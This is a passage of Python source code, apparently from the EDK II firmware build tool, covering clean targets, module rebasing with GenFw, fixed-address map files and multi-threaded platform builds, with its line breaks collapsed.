AutoGenObject.LibraryBuildDirectoryList: LibMakefile = os.path.normpath(os.path.join(Lib, makefile)) if os.path.exists(LibMakefile): NewBuildCommand = BuildCommand + ['-f', LibMakefile, 'cleanall'] LaunchCommand(NewBuildCommand, AutoGenObject.MakeFileDir) return True # cleanall if Target == 'cleanall': try: #os.rmdir(AutoGenObject.BuildDir) RemoveDirectory(AutoGenObject.BuildDir, True) except WindowsError as X: EdkLogger.error("build", FILE_DELETE_FAILURE, ExtraData=str(X)) return True ## Build a module or platform # # Create autogen code and makefile for a module or platform, and the launch # "make" command to build it # # @param Target The target of build command # @param Platform The platform file # @param Module The module file # @param BuildTarget The name of build target, one of "DEBUG", "RELEASE" # @param ToolChain The name of toolchain to build # @param Arch The arch of the module/platform # @param CreateDepModuleCodeFile Flag used to indicate creating code # for dependent modules/Libraries # @param CreateDepModuleMakeFile Flag used to indicate creating makefile # for dependent modules/Libraries # def _Build(self, Target, AutoGenObject, CreateDepsCodeFile=True, CreateDepsMakeFile=True, BuildModule=False): if AutoGenObject is None: return False # skip file generation for cleanxxx targets, run and fds target if Target not in ['clean', 'cleanlib', 'cleanall', 'run', 'fds']: # for target which must generate AutoGen code and makefile if not self.SkipAutoGen or Target == 'genc': self.Progress.Start("Generating code") AutoGenObject.CreateCodeFile(CreateDepsCodeFile) self.Progress.Stop("done!") if Target == "genc": return True if not self.SkipAutoGen or Target == 'genmake': self.Progress.Start("Generating makefile") AutoGenObject.CreateMakeFile(CreateDepsMakeFile) #AutoGenObject.CreateAsBuiltInf() self.Progress.Stop("done!") if Target == "genmake": return True else: # always recreate top/platform makefile when clean, just in case of inconsistency AutoGenObject.CreateCodeFile(False) AutoGenObject.CreateMakeFile(False) if EdkLogger.GetLevel() == EdkLogger.QUIET: EdkLogger.quiet("Building ... %s" % repr(AutoGenObject)) BuildCommand = AutoGenObject.BuildCommand if BuildCommand is None or len(BuildCommand) == 0: EdkLogger.error("build", OPTION_MISSING, "No build command found for this module. " "Please check your setting of %s_%s_%s_MAKE_PATH in Conf/tools_def.txt file." % (AutoGenObject.BuildTarget, AutoGenObject.ToolChain, AutoGenObject.Arch), ExtraData=str(AutoGenObject)) # build modules if BuildModule: if Target != 'fds': BuildCommand = BuildCommand + [Target] AutoGenObject.BuildTime = LaunchCommand(BuildCommand, AutoGenObject.MakeFileDir) self.CreateAsBuiltInf() return True # genfds if Target == 'fds': LaunchCommand(AutoGenObject.GenFdsCommand, AutoGenObject.MakeFileDir) return True # run if Target == 'run': RunDir = os.path.normpath(os.path.join(AutoGenObject.BuildDir, GlobalData.gGlobalDefines['ARCH'])) Command = '.\SecMain' os.chdir(RunDir) LaunchCommand(Command, RunDir) return True # build library if Target == 'libraries': pass # not build modules # cleanall if Target == 'cleanall': try: #os.rmdir(AutoGenObject.BuildDir) RemoveDirectory(AutoGenObject.BuildDir, True) except WindowsError as X: EdkLogger.error("build", FILE_DELETE_FAILURE, ExtraData=str(X)) return True ## Rebase module image and Get function address for the input module list. # def _RebaseModule (self, MapBuffer, BaseAddress, ModuleList, AddrIsOffset = True, ModeIsSmm = False): if ModeIsSmm: AddrIsOffset = False for InfFile in ModuleList: sys.stdout.write (".") sys.stdout.flush() ModuleInfo = ModuleList[InfFile] ModuleName = ModuleInfo.BaseName ModuleOutputImage = ModuleInfo.Image.FileName ModuleDebugImage = os.path.join(ModuleInfo.DebugDir, ModuleInfo.BaseName + '.efi') ## for SMM module in SMRAM, the SMRAM will be allocated from base to top. if not ModeIsSmm: BaseAddress = BaseAddress - ModuleInfo.Image.Size # # Update Image to new BaseAddress by GenFw tool # LaunchCommand(["GenFw", "--rebase", str(BaseAddress), "-r", ModuleOutputImage], ModuleInfo.OutputDir) LaunchCommand(["GenFw", "--rebase", str(BaseAddress), "-r", ModuleDebugImage], ModuleInfo.DebugDir) else: # # Set new address to the section header only for SMM driver. # LaunchCommand(["GenFw", "--address", str(BaseAddress), "-r", ModuleOutputImage], ModuleInfo.OutputDir) LaunchCommand(["GenFw", "--address", str(BaseAddress), "-r", ModuleDebugImage], ModuleInfo.DebugDir) # # Collect funtion address from Map file # ImageMapTable = ModuleOutputImage.replace('.efi', '.map') FunctionList = [] if os.path.exists(ImageMapTable): OrigImageBaseAddress = 0 ImageMap = open(ImageMapTable, 'r') for LinStr in ImageMap: if len (LinStr.strip()) == 0: continue # # Get the preferred address set on link time. # if LinStr.find ('Preferred load address is') != -1: StrList = LinStr.split() OrigImageBaseAddress = int (StrList[len(StrList) - 1], 16) StrList = LinStr.split() if len (StrList) > 4: if StrList[3] == 'f' or StrList[3] == 'F': Name = StrList[1] RelativeAddress = int (StrList[2], 16) - OrigImageBaseAddress FunctionList.append ((Name, RelativeAddress)) if ModuleInfo.Arch == 'IPF' and Name.endswith('_ModuleEntryPoint'): # # Get the real entry point address for IPF image. # ModuleInfo.Image.EntryPoint = RelativeAddress ImageMap.close() # # Add general information. # if ModeIsSmm: MapBuffer.write('\n\n%s (Fixed SMRAM Offset, BaseAddress=0x%010X, EntryPoint=0x%010X)\n' % (ModuleName, BaseAddress, BaseAddress + ModuleInfo.Image.EntryPoint)) elif AddrIsOffset: MapBuffer.write('\n\n%s (Fixed Memory Offset, BaseAddress=-0x%010X, EntryPoint=-0x%010X)\n' % (ModuleName, 0 - BaseAddress, 0 - (BaseAddress + ModuleInfo.Image.EntryPoint))) else: MapBuffer.write('\n\n%s (Fixed Memory Address, BaseAddress=0x%010X, EntryPoint=0x%010X)\n' % (ModuleName, BaseAddress, BaseAddress + ModuleInfo.Image.EntryPoint)) # # Add guid and general seciton section. # TextSectionAddress = 0 DataSectionAddress = 0 for SectionHeader in ModuleInfo.Image.SectionHeaderList: if SectionHeader[0] == '.text': TextSectionAddress = SectionHeader[1] elif SectionHeader[0] in ['.data', '.sdata']: DataSectionAddress = SectionHeader[1] if AddrIsOffset: MapBuffer.write('(GUID=%s, .textbaseaddress=-0x%010X, .databaseaddress=-0x%010X)\n' % (ModuleInfo.Guid, 0 - (BaseAddress + TextSectionAddress), 0 - (BaseAddress + DataSectionAddress))) else: MapBuffer.write('(GUID=%s, .textbaseaddress=0x%010X, .databaseaddress=0x%010X)\n' % (ModuleInfo.Guid, BaseAddress + TextSectionAddress, BaseAddress + DataSectionAddress)) # # Add debug image full path. # MapBuffer.write('(IMAGE=%s)\n\n' % (ModuleDebugImage)) # # Add funtion address # for Function in FunctionList: if AddrIsOffset: MapBuffer.write(' -0x%010X %s\n' % (0 - (BaseAddress + Function[1]), Function[0])) else: MapBuffer.write(' 0x%010X %s\n' % (BaseAddress + Function[1], Function[0])) ImageMap.close() # # for SMM module in SMRAM, the SMRAM will be allocated from base to top. # if ModeIsSmm: BaseAddress = BaseAddress + ModuleInfo.Image.Size ## Collect MAP information of all FVs # def _CollectFvMapBuffer (self, MapBuffer, Wa, ModuleList): if self.Fdf: # First get the XIP base address for FV map file. GuidPattern = re.compile("[-a-fA-F0-9]+") GuidName = re.compile("\(GUID=[-a-fA-F0-9]+") for FvName in Wa.FdfProfile.FvDict: FvMapBuffer = os.path.join(Wa.FvDir, FvName + '.Fv.map') if not os.path.exists(FvMapBuffer): continue FvMap = open(FvMapBuffer, 'r') #skip FV size information FvMap.readline() FvMap.readline() FvMap.readline() FvMap.readline() for Line in FvMap: MatchGuid = GuidPattern.match(Line) if MatchGuid is not None: # # Replace GUID with module name # GuidString = MatchGuid.group() if GuidString.upper() in ModuleList: Line = Line.replace(GuidString, ModuleList[GuidString.upper()].Name) MapBuffer.write(Line) # # Add the debug image full path. # MatchGuid = GuidName.match(Line) if MatchGuid is not None: GuidString = MatchGuid.group().split("=")[1] if GuidString.upper() in ModuleList: MapBuffer.write('(IMAGE=%s)\n' % (os.path.join(ModuleList[GuidString.upper()].DebugDir, ModuleList[GuidString.upper()].Name + '.efi'))) FvMap.close() ## Collect MAP information of all modules # def _CollectModuleMapBuffer (self, MapBuffer, ModuleList): sys.stdout.write ("Generate Load Module At Fix Address Map") sys.stdout.flush() PatchEfiImageList = [] PeiModuleList = {} BtModuleList = {} RtModuleList = {} SmmModuleList = {} PeiSize = 0 BtSize = 0 RtSize = 0 # reserve 4K size in SMRAM to make SMM module address not from 0. SmmSize = 0x1000 IsIpfPlatform = False if 'IPF' in self.ArchList: IsIpfPlatform = True for ModuleGuid in ModuleList: Module = ModuleList[ModuleGuid] GlobalData.gProcessingFile = "%s [%s, %s, %s]" % (Module.MetaFile, Module.Arch, Module.ToolChain, Module.BuildTarget) OutputImageFile = '' for ResultFile in Module.CodaTargetList: if str(ResultFile.Target).endswith('.efi'): # # module list for PEI, DXE, RUNTIME and SMM # OutputImageFile = os.path.join(Module.OutputDir, Module.Name + '.efi') ImageClass = PeImageClass (OutputImageFile) if not ImageClass.IsValid: EdkLogger.error("build", FILE_PARSE_FAILURE, ExtraData=ImageClass.ErrorInfo) ImageInfo = PeImageInfo(Module.Name, Module.Guid, Module.Arch, Module.OutputDir, Module.DebugDir, ImageClass) if Module.ModuleType in [SUP_MODULE_PEI_CORE, SUP_MODULE_PEIM, EDK_COMPONENT_TYPE_COMBINED_PEIM_DRIVER, EDK_COMPONENT_TYPE_PIC_PEIM, EDK_COMPONENT_TYPE_RELOCATABLE_PEIM, SUP_MODULE_DXE_CORE]: PeiModuleList[Module.MetaFile] = ImageInfo PeiSize += ImageInfo.Image.Size elif Module.ModuleType in [EDK_COMPONENT_TYPE_BS_DRIVER, SUP_MODULE_DXE_DRIVER, SUP_MODULE_UEFI_DRIVER]: BtModuleList[Module.MetaFile] = ImageInfo BtSize += ImageInfo.Image.Size elif Module.ModuleType in [SUP_MODULE_DXE_RUNTIME_DRIVER, EDK_COMPONENT_TYPE_RT_DRIVER, SUP_MODULE_DXE_SAL_DRIVER, EDK_COMPONENT_TYPE_SAL_RT_DRIVER]: RtModuleList[Module.MetaFile] = ImageInfo #IPF runtime driver needs to be at 2 page alignment. if IsIpfPlatform and ImageInfo.Image.Size % 0x2000 != 0: ImageInfo.Image.Size = (ImageInfo.Image.Size // 0x2000 + 1) * 0x2000 RtSize += ImageInfo.Image.Size elif Module.ModuleType in [SUP_MODULE_SMM_CORE, SUP_MODULE_DXE_SMM_DRIVER, SUP_MODULE_MM_STANDALONE, SUP_MODULE_MM_CORE_STANDALONE]: SmmModuleList[Module.MetaFile] = ImageInfo SmmSize += ImageInfo.Image.Size if Module.ModuleType == SUP_MODULE_DXE_SMM_DRIVER: PiSpecVersion = Module.Module.Specification.get('PI_SPECIFICATION_VERSION', '0x00000000') # for PI specification < PI1.1, DXE_SMM_DRIVER also runs as BOOT time driver. if int(PiSpecVersion, 16) < 0x0001000A: BtModuleList[Module.MetaFile] = ImageInfo BtSize += ImageInfo.Image.Size break # # EFI image is final target. # Check EFI image contains patchable FixAddress related PCDs. # if OutputImageFile != '': ModuleIsPatch = False for Pcd in Module.ModulePcdList: if Pcd.Type == TAB_PCDS_PATCHABLE_IN_MODULE and Pcd.TokenCName in TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_SET: ModuleIsPatch = True break if not ModuleIsPatch: for Pcd in Module.LibraryPcdList: if Pcd.Type == TAB_PCDS_PATCHABLE_IN_MODULE and Pcd.TokenCName in TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_SET: ModuleIsPatch = True break if not ModuleIsPatch: continue # # Module includes the patchable load fix address PCDs. # It will be fixed up later. # PatchEfiImageList.append (OutputImageFile) # # Get Top Memory address # ReservedRuntimeMemorySize = 0 TopMemoryAddress = 0 if self.LoadFixAddress == 0xFFFFFFFFFFFFFFFF: TopMemoryAddress = 0 else: TopMemoryAddress = self.LoadFixAddress if TopMemoryAddress < RtSize + BtSize + PeiSize: EdkLogger.error("build", PARAMETER_INVALID, "FIX_LOAD_TOP_MEMORY_ADDRESS is too low to load driver") # Make IPF runtime driver at 2 page alignment. if IsIpfPlatform: ReservedRuntimeMemorySize = TopMemoryAddress % 0x2000 RtSize = RtSize + ReservedRuntimeMemorySize # # Patch FixAddress related PCDs into EFI image # for EfiImage in PatchEfiImageList: EfiImageMap = EfiImage.replace('.efi', '.map') if not os.path.exists(EfiImageMap): continue # # Get PCD offset in EFI image by GenPatchPcdTable function # PcdTable = parsePcdInfoFromMapFile(EfiImageMap, EfiImage) # # Patch real PCD value by PatchPcdValue tool # for PcdInfo in PcdTable: ReturnValue = 0 if PcdInfo[0] == TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_PEI_PAGE_SIZE: ReturnValue, ErrorInfo = PatchBinaryFile (EfiImage, PcdInfo[1], TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_PEI_PAGE_SIZE_DATA_TYPE, str (PeiSize // 0x1000)) elif PcdInfo[0] == TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_DXE_PAGE_SIZE: ReturnValue, ErrorInfo = PatchBinaryFile (EfiImage, PcdInfo[1], TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_DXE_PAGE_SIZE_DATA_TYPE, str (BtSize // 0x1000)) elif PcdInfo[0] == TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_RUNTIME_PAGE_SIZE: ReturnValue, ErrorInfo = PatchBinaryFile (EfiImage, PcdInfo[1], TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_RUNTIME_PAGE_SIZE_DATA_TYPE, str (RtSize // 0x1000)) elif PcdInfo[0] == TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_SMM_PAGE_SIZE and len (SmmModuleList) > 0: ReturnValue, ErrorInfo = PatchBinaryFile (EfiImage, PcdInfo[1], TAB_PCDS_PATCHABLE_LOAD_FIX_ADDRESS_SMM_PAGE_SIZE_DATA_TYPE, str (SmmSize // 0x1000)) if ReturnValue != 0: EdkLogger.error("build", PARAMETER_INVALID, "Patch PCD value failed", ExtraData=ErrorInfo) MapBuffer.write('PEI_CODE_PAGE_NUMBER = 0x%x\n' % (PeiSize // 0x1000)) MapBuffer.write('BOOT_CODE_PAGE_NUMBER = 0x%x\n' % (BtSize // 0x1000)) MapBuffer.write('RUNTIME_CODE_PAGE_NUMBER = 0x%x\n' % (RtSize // 0x1000)) if len (SmmModuleList) > 0: MapBuffer.write('SMM_CODE_PAGE_NUMBER = 0x%x\n' % (SmmSize // 0x1000)) PeiBaseAddr = TopMemoryAddress - RtSize - BtSize BtBaseAddr = TopMemoryAddress - RtSize RtBaseAddr = TopMemoryAddress - ReservedRuntimeMemorySize self._RebaseModule (MapBuffer, PeiBaseAddr, PeiModuleList, TopMemoryAddress == 0) self._RebaseModule (MapBuffer, BtBaseAddr, BtModuleList, TopMemoryAddress == 0) self._RebaseModule (MapBuffer, RtBaseAddr, RtModuleList, TopMemoryAddress == 0) self._RebaseModule (MapBuffer, 0x1000, SmmModuleList, AddrIsOffset=False, ModeIsSmm=True) MapBuffer.write('\n\n') sys.stdout.write ("\n") sys.stdout.flush() ## Save platform Map file # def _SaveMapFile (self, MapBuffer, Wa): # # Map file path is got. # MapFilePath = os.path.join(Wa.BuildDir, Wa.Name + '.map') # # Save address map into MAP file. # SaveFileOnChange(MapFilePath, MapBuffer.getvalue(), False) MapBuffer.close() if self.LoadFixAddress != 0: sys.stdout.write ("\nLoad Module At Fix Address Map file can be found at %s\n" % (MapFilePath)) sys.stdout.flush() ## Build active platform for different build targets and different tool chains # def _BuildPlatform(self): SaveFileOnChange(self.PlatformBuildPath, '# DO NOT EDIT \n# FILE auto-generated\n', False) for BuildTarget in self.BuildTargetList: GlobalData.gGlobalDefines['TARGET'] = BuildTarget index = 0 for ToolChain in self.ToolChainList: GlobalData.gGlobalDefines['TOOLCHAIN'] = ToolChain GlobalData.gGlobalDefines['TOOL_CHAIN_TAG'] = ToolChain GlobalData.gGlobalDefines['FAMILY'] = self.ToolChainFamily[index] index += 1 Wa = WorkspaceAutoGen( self.WorkspaceDir, self.PlatformFile, BuildTarget, ToolChain, self.ArchList, self.BuildDatabase, self.TargetTxt, self.ToolDef, self.Fdf, self.FdList, self.FvList, self.CapList, self.SkuId, self.UniFlag, self.Progress ) self.Fdf = Wa.FdfFile self.LoadFixAddress = Wa.Platform.LoadFixAddress self.BuildReport.AddPlatformReport(Wa) self.Progress.Stop("done!") # Add ffs build to makefile CmdListDict = {} if GlobalData.gEnableGenfdsMultiThread and self.Fdf: CmdListDict = self._GenFfsCmd() for Arch in Wa.ArchList: GlobalData.gGlobalDefines['ARCH'] = Arch Pa = PlatformAutoGen(Wa, self.PlatformFile, BuildTarget, ToolChain, Arch) for Module in Pa.Platform.Modules: # Get ModuleAutoGen object to generate C code file and makefile Ma = ModuleAutoGen(Wa, Module, BuildTarget, ToolChain, Arch, self.PlatformFile) if Ma is None: continue self.BuildModules.append(Ma) self._BuildPa(self.Target, Pa, FfsCommand=CmdListDict) # Create MAP file when Load Fix Address is enabled. if self.Target in ["", "all", "fds"]: for Arch in Wa.ArchList: GlobalData.gGlobalDefines['ARCH'] = Arch # # Check whether the set fix address is above 4G for 32bit image. # if (Arch == 'IA32' or Arch == 'ARM') and self.LoadFixAddress != 0xFFFFFFFFFFFFFFFF and self.LoadFixAddress >= 0x100000000: EdkLogger.error("build", PARAMETER_INVALID, "FIX_LOAD_TOP_MEMORY_ADDRESS can't be set to larger than or equal to 4G for the platform with IA32 or ARM arch modules") # # Get Module List # ModuleList = {} for Pa in Wa.AutoGenObjectList: for Ma in Pa.ModuleAutoGenList: if Ma is None: continue if not Ma.IsLibrary: ModuleList[Ma.Guid.upper()] = Ma MapBuffer = StringIO('') if self.LoadFixAddress != 0: # # Rebase module to the preferred memory address before GenFds # self._CollectModuleMapBuffer(MapBuffer, ModuleList) if self.Fdf: # # create FDS again for the updated EFI image # self._Build("fds", Wa) # # Create MAP file for all platform FVs after GenFds. # self._CollectFvMapBuffer(MapBuffer, Wa, ModuleList) # # Save MAP buffer into MAP file. # self._SaveMapFile (MapBuffer, Wa) ## Build active module for different build targets, different tool chains and different archs # def _BuildModule(self): for BuildTarget in self.BuildTargetList: GlobalData.gGlobalDefines['TARGET'] = BuildTarget index = 0 for ToolChain in self.ToolChainList: WorkspaceAutoGenTime = time.time() GlobalData.gGlobalDefines['TOOLCHAIN'] = ToolChain GlobalData.gGlobalDefines['TOOL_CHAIN_TAG'] = ToolChain GlobalData.gGlobalDefines['FAMILY'] = self.ToolChainFamily[index] index += 1 # # module build needs platform build information, so get platform # AutoGen first # Wa = WorkspaceAutoGen( self.WorkspaceDir, self.PlatformFile, BuildTarget, ToolChain, self.ArchList, self.BuildDatabase, self.TargetTxt, self.ToolDef, self.Fdf, self.FdList, self.FvList, self.CapList, self.SkuId, self.UniFlag, self.Progress, self.ModuleFile ) self.Fdf = Wa.FdfFile self.LoadFixAddress = Wa.Platform.LoadFixAddress Wa.CreateMakeFile(False) # Add ffs build to makefile CmdListDict = None if GlobalData.gEnableGenfdsMultiThread and self.Fdf: CmdListDict = self._GenFfsCmd() self.Progress.Stop("done!") MaList = [] ExitFlag = threading.Event() ExitFlag.clear() self.AutoGenTime += int(round((time.time() - WorkspaceAutoGenTime))) for Arch in Wa.ArchList: AutoGenStart = time.time() GlobalData.gGlobalDefines['ARCH'] = Arch Pa = PlatformAutoGen(Wa, self.PlatformFile, BuildTarget, ToolChain, Arch) for Module in Pa.Platform.Modules: if self.ModuleFile.Dir == Module.Dir and self.ModuleFile.Name == Module.Name: Ma = ModuleAutoGen(Wa, Module, BuildTarget, ToolChain, Arch, self.PlatformFile) if Ma is None: continue MaList.append(Ma) if Ma.CanSkipbyHash(): self.HashSkipModules.append(Ma) continue # Not to auto-gen for targets 'clean', 'cleanlib', 'cleanall', 'run', 'fds' if self.Target not in ['clean', 'cleanlib', 'cleanall', 'run', 'fds']: # for target which must generate AutoGen code and makefile if not self.SkipAutoGen or self.Target == 'genc': self.Progress.Start("Generating code") Ma.CreateCodeFile(True) self.Progress.Stop("done!") if self.Target == "genc": return True if not self.SkipAutoGen or self.Target == 'genmake': self.Progress.Start("Generating makefile") if CmdListDict and self.Fdf and (Module.File, Arch) in CmdListDict: Ma.CreateMakeFile(True, CmdListDict[Module.File, Arch]) del CmdListDict[Module.File, Arch] else: Ma.CreateMakeFile(True) self.Progress.Stop("done!") if self.Target == "genmake": return True self.BuildModules.append(Ma) self.AutoGenTime += int(round((time.time() - AutoGenStart))) MakeStart = time.time() for Ma in self.BuildModules: if not Ma.IsBinaryModule: Bt = BuildTask.New(ModuleMakeUnit(Ma, self.Target)) # Break build if any build thread has error if BuildTask.HasError(): # we need a full version of makefile for platform ExitFlag.set() BuildTask.WaitForComplete() Pa.CreateMakeFile(False) EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) # Start task scheduler if not BuildTask.IsOnGoing(): BuildTask.StartScheduler(self.ThreadNumber, ExitFlag) # in case there's an interruption. we need a full version of makefile for platform Pa.CreateMakeFile(False) if BuildTask.HasError(): EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) self.MakeTime += int(round((time.time() - MakeStart))) MakeContiue = time.time() ExitFlag.set() BuildTask.WaitForComplete() self.CreateAsBuiltInf() self.MakeTime += int(round((time.time() - MakeContiue))) if BuildTask.HasError(): EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) self.BuildReport.AddPlatformReport(Wa, MaList) if MaList == []: EdkLogger.error( 'build', BUILD_ERROR, "Module for [%s] is not a component of active platform."\ " Please make sure that the ARCH and inf file path are"\ " given in the same as in [%s]" % \ (', '.join(Wa.ArchList), self.PlatformFile), ExtraData=self.ModuleFile ) # Create MAP file when Load Fix Address is enabled. if self.Target == "fds" and self.Fdf: for Arch in Wa.ArchList: # # Check whether the set fix address is above 4G for 32bit image. # if (Arch == 'IA32' or Arch == 'ARM') and self.LoadFixAddress != 0xFFFFFFFFFFFFFFFF and self.LoadFixAddress >= 0x100000000: EdkLogger.error("build", PARAMETER_INVALID, "FIX_LOAD_TOP_MEMORY_ADDRESS can't be set to larger than or equal to 4G for the platorm with IA32 or ARM arch modules") # # Get Module List # ModuleList = {} for Pa in Wa.AutoGenObjectList: for Ma in Pa.ModuleAutoGenList: if Ma is None: continue if not Ma.IsLibrary: ModuleList[Ma.Guid.upper()] = Ma MapBuffer = StringIO('') if self.LoadFixAddress != 0: # # Rebase module to the preferred memory address before GenFds # self._CollectModuleMapBuffer(MapBuffer, ModuleList) # # create FDS again for the updated EFI image # GenFdsStart = time.time() self._Build("fds", Wa) self.GenFdsTime += int(round((time.time() - GenFdsStart))) # # Create MAP file for all platform FVs after GenFds. # self._CollectFvMapBuffer(MapBuffer, Wa, ModuleList) # # Save MAP buffer into MAP file. # self._SaveMapFile (MapBuffer, Wa) def _GenFfsCmd(self): # convert dictionary of Cmd:(Inf,Arch) # to a new dictionary of (Inf,Arch):Cmd,Cmd,Cmd... CmdSetDict = defaultdict(set) GenFfsDict = GenFds.GenFfsMakefile('', GlobalData.gFdfParser, self, self.ArchList, GlobalData) for Cmd in GenFfsDict: tmpInf, tmpArch = GenFfsDict[Cmd] CmdSetDict[tmpInf, tmpArch].add(Cmd) return CmdSetDict ## Build a platform in multi-thread mode # def _MultiThreadBuildPlatform(self): SaveFileOnChange(self.PlatformBuildPath, '# DO NOT EDIT \n# FILE auto-generated\n', False) for BuildTarget in self.BuildTargetList: GlobalData.gGlobalDefines['TARGET'] = BuildTarget index = 0 for ToolChain in self.ToolChainList: WorkspaceAutoGenTime = time.time() GlobalData.gGlobalDefines['TOOLCHAIN'] = ToolChain GlobalData.gGlobalDefines['TOOL_CHAIN_TAG'] = ToolChain GlobalData.gGlobalDefines['FAMILY'] = self.ToolChainFamily[index] index += 1 Wa = WorkspaceAutoGen( self.WorkspaceDir, self.PlatformFile, BuildTarget, ToolChain, self.ArchList, self.BuildDatabase, self.TargetTxt, self.ToolDef, self.Fdf, self.FdList, self.FvList, self.CapList, self.SkuId, self.UniFlag, self.Progress ) self.Fdf = Wa.FdfFile self.LoadFixAddress = Wa.Platform.LoadFixAddress self.BuildReport.AddPlatformReport(Wa) Wa.CreateMakeFile(False) # Add ffs build to makefile CmdListDict = None if GlobalData.gEnableGenfdsMultiThread and self.Fdf: CmdListDict = self._GenFfsCmd() # multi-thread exit flag ExitFlag = threading.Event() ExitFlag.clear() self.AutoGenTime += int(round((time.time() - WorkspaceAutoGenTime))) for Arch in Wa.ArchList: AutoGenStart = time.time() GlobalData.gGlobalDefines['ARCH'] = Arch Pa = PlatformAutoGen(Wa, self.PlatformFile, BuildTarget, ToolChain, Arch) if Pa is None: continue ModuleList = [] for Inf in Pa.Platform.Modules: ModuleList.append(Inf) # Add the INF only list in FDF if GlobalData.gFdfParser is not None: for InfName in GlobalData.gFdfParser.Profile.InfList: Inf = PathClass(NormPath(InfName), self.WorkspaceDir, Arch) if Inf in Pa.Platform.Modules: continue ModuleList.append(Inf) for Module in ModuleList: # Get ModuleAutoGen object to generate C code file and makefile Ma = ModuleAutoGen(Wa, Module, BuildTarget, ToolChain, Arch, self.PlatformFile) if Ma is None: continue if Ma.CanSkipbyHash(): self.HashSkipModules.append(Ma) continue # Not to auto-gen for targets 'clean', 'cleanlib', 'cleanall', 'run', 'fds' if self.Target not in ['clean', 'cleanlib', 'cleanall', 'run', 'fds']: # for target which must generate AutoGen code and makefile if not self.SkipAutoGen or self.Target == 'genc': Ma.CreateCodeFile(True) if self.Target == "genc": continue if not self.SkipAutoGen or self.Target == 'genmake': if CmdListDict and self.Fdf and (Module.File, Arch) in CmdListDict: Ma.CreateMakeFile(True, CmdListDict[Module.File, Arch]) del CmdListDict[Module.File, Arch] else: Ma.CreateMakeFile(True) if self.Target == "genmake": continue self.BuildModules.append(Ma) self.Progress.Stop("done!") self.AutoGenTime += int(round((time.time() - AutoGenStart))) MakeStart = time.time() for Ma in self.BuildModules: # Generate build task for the module if not Ma.IsBinaryModule: Bt = BuildTask.New(ModuleMakeUnit(Ma, self.Target)) # Break build if any build thread has error if BuildTask.HasError(): # we need a full version of makefile for platform ExitFlag.set() BuildTask.WaitForComplete() Pa.CreateMakeFile(False) EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) # Start task scheduler if not BuildTask.IsOnGoing(): BuildTask.StartScheduler(self.ThreadNumber, ExitFlag) # in case there's an interruption. we need a full version of makefile for platform Pa.CreateMakeFile(False) if BuildTask.HasError(): EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) self.MakeTime += int(round((time.time() - MakeStart))) MakeContiue = time.time() # # Save temp tables to a TmpTableDict. # for Key in Wa.BuildDatabase._CACHE_: if Wa.BuildDatabase._CACHE_[Key]._RawData and Wa.BuildDatabase._CACHE_[Key]._RawData._Table and Wa.BuildDatabase._CACHE_[Key]._RawData._Table.Table: if TemporaryTablePattern.match(Wa.BuildDatabase._CACHE_[Key]._RawData._Table.Table): TmpTableDict[Wa.BuildDatabase._CACHE_[Key]._RawData._Table.Table] = Wa.BuildDatabase._CACHE_[Key]._RawData._Table.Cur # # # All modules have been put in build tasks queue. Tell task scheduler # to exit if all tasks are completed # ExitFlag.set() BuildTask.WaitForComplete() self.CreateAsBuiltInf() self.MakeTime += int(round((time.time() - MakeContiue))) # # Check for build error, and raise exception if one # has been signaled. # if BuildTask.HasError(): EdkLogger.error("build", BUILD_ERROR, "Failed to build module", ExtraData=GlobalData.gBuildingModule) # Create MAP file when Load Fix Address is enabled. if self.Target in ["", "all", "fds"]: for Arch in Wa.ArchList: # # Check whether the set fix address is above 4G for 32bit image. # if (Arch == 'IA32' or Arch == 'ARM') and self.LoadFixAddress != 0xFFFFFFFFFFFFFFFF and self.LoadFixAddress >= 0x100000000: EdkLogger.error("build", PARAMETER_INVALID, "FIX_LOAD_TOP_MEMORY_ADDRESS can't be set to larger than or equal to 4G for the platorm with IA32 or ARM arch modules") # # Get Module List # ModuleList = {} for Pa in Wa.AutoGenObjectList: for Ma in Pa.ModuleAutoGenList: if Ma is None: continue if not Ma.IsLibrary: ModuleList[Ma.Guid.upper()] = Ma # # Rebase module to the preferred memory address before GenFds # MapBuffer = StringIO('') if self.LoadFixAddress != 0: self._CollectModuleMapBuffer(MapBuffer, ModuleList) if self.Fdf: # # Generate FD image if there's a FDF file found # GenFdsStart = time.time() LaunchCommand(Wa.GenFdsCommand, os.getcwd()) # # Create MAP file for all platform FVs after GenFds. # self._CollectFvMapBuffer(MapBuffer, Wa, ModuleList) self.GenFdsTime += int(round((time.time() - GenFdsStart))) # # Save MAP buffer into MAP file. # self._SaveMapFile(MapBuffer, Wa) ## Generate GuidedSectionTools.txt in the FV directories. # def CreateGuidedSectionToolsFile(self): for BuildTarget in self.BuildTargetList: for ToolChain in self.ToolChainList: Wa = WorkspaceAutoGen( self.WorkspaceDir, self.PlatformFile, BuildTarget, ToolChain, self.ArchList, self.BuildDatabase, self.TargetTxt, self.ToolDef, self.Fdf, self.FdList, self.FvList, self.CapList, self.SkuId, self.UniFlag ) FvDir = Wa.FvDir if not os.path.exists(FvDir): continue for Arch in self.ArchList: # Build up the list of supported architectures for this build prefix = '%s_%s_%s_' % (BuildTarget, ToolChain, Arch) # Look through the tool definitions for GUIDed tools guidAttribs = [] for (attrib, value) in self.ToolDef.ToolsDefTxtDictionary.items(): if attrib.upper().endswith('_GUID'): split = attrib.split('_') thisPrefix = '_'.join(split[0:3]) + '_' if thisPrefix == prefix: guid = self.ToolDef.ToolsDefTxtDictionary[attrib] guid = guid.lower() toolName = split[3] path = '_'.join(split[0:4]) + '_PATH' path = self.ToolDef.ToolsDefTxtDictionary[path] path = self.GetFullPathOfTool(path) guidAttribs.append((guid, toolName, path)) # Write out 